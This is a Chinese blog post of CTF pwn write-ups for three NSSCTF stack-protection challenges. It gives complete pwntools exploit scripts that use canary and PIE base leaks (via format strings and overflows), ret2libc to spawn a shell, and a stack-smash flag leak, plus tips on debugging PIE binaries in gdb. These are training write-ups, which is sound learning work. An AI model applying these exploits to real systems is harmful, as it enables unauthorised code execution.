NSSCTF 栈保护刷题记录

发布于 2022-09-03  825 次阅读


[2021 鹤城杯]littleof

首先checksec,发现有canary

在IDA中发现了栈溢出漏洞和格式化字符串漏洞,由格式化字符串可以泄露canary


获取canary之后便可进行正常的ret2libc

from pwn import *
from LibcSearcher import *
context.log_level='debug'
p=remote("1.14.71.254",28062)
elf = ELF('./pwn')
libc=ELF('./libc6_2.27-3ubuntu1.4_amd64.so')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main=0x0000000004006E2
pop_rdi=0x0000000000400863
ret=0x000000000040059e
p.recvuntil(b'overflow?\n')
payload1=b'a'*0x47+b'b'
p.sendline(payload1)
p.recvuntil(b'b')
canary=u64(p.recv(8).rjust(8,b'\x00'))-0xa#保证canary最后两位为0
print(hex(canary))
payload2=b'a'*0x48+p64(canary)+b'b'*8+p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload2+=p64(main)
p.recvuntil(b'!')
p.sendline(payload2)
puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
#puts_addr=u64(p.recv(6).ljust(8,b'\x00'))
#libc=LibcSearcher('puts',puts_addr)找不到匹配libc
print(hex(puts_addr))
#offset=puts_addr-libc.dump('puts')
#sys_addr=offset+libc.dump('system')
#bin_sh=offset+libc.dump('str_bin_sh')
offset=puts_addr-libc.sym['puts']
sys_addr=offset+libc.sym['system']
bin_sh=offset+libc.search(b'/bin/sh').__next__()
payload3=b'a'*0x48
p.recvuntil(b'overflow?\n')
p.sendline(payload3)
payload4=b'a'*0x48+p64(canary)+b'b'*8+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
#真的玄学栈对齐,属于是本人技术不精,过段时间会深入了解一下
p.recvuntil(b'!')
p.sendline(payload4)
p.interactive()

[2021 鹤城杯]easyecho

保护全开。。。靠提示猜测stack smash

这道题学到很多,比如带pie保护的gdb调试,脚本也是抄的别的大佬的博客
脚本如下

from pwn import*
context.log_level="debug"
p=remote("1.14.71.254",28718)
p.sendafter("Name: ","A"*0x10)
p.recvuntil("Welcome AAAAAAAAAAAAAAAA")
leak=u64(p.recv(6).ljust(8,b'\x00'))#利用输入泄露地址获取程序基地址
pie_base=leak-0xcf0
print("leak",hex(leak))

flag_addr=pie_base+0x202040 #内存中flag的真实地址
print("flag:",hex(flag_addr))

p.recvuntil("Input: ")
p.sendline("backdoor")    #输入backdoor将flag存入内存

p.sendlineafter("Input: ",b'a'*0x168+p64(flag_addr))
#offset(输入所在的地址与需要覆盖的文件名称的地址之差)=0x168
p.recvuntil("Input:")
p.sendline('exitexit')#退出触发stack smash
p.interactive()

[深育杯 2021]find_flag

又是一道保护全开。。。

比较正常的一道通过泄露基地址和canary栈溢出getflag,脚本如下

from pwn import *
context.log_level='debug'
p=remote("1.14.71.254",28849)
p.recvuntil(b'name?')
payload1='aa%16$pbb%17$p'
p.sendline(payload1)
p.recvuntil(b'aa')
elf_base=int(p.recv(14),16)-0x1140
flag_addr=elf_base+0x1228
print(hex(elf_base))
p.recvuntil(b'bb')
canary=int(p.recv(18),16)
print(hex(canary))
p.recvuntil(b"?")
payload2=b'a'*0x38 + p64(canary) + p64(0)+p64(flag_addr)
p.sendline(payload2)
p.interactive()

带pie保护的调试方法

以上面的easyecho为例
首先将断点下在偏移为0xb2e的地方

此时执行程序会报错

解决办法就是找出程序基地址再重新下一个新的断点,删除前一个断点


再次运行便可进行正常调试

届ける言葉を今は育ててる
最后更新于 2022-09-03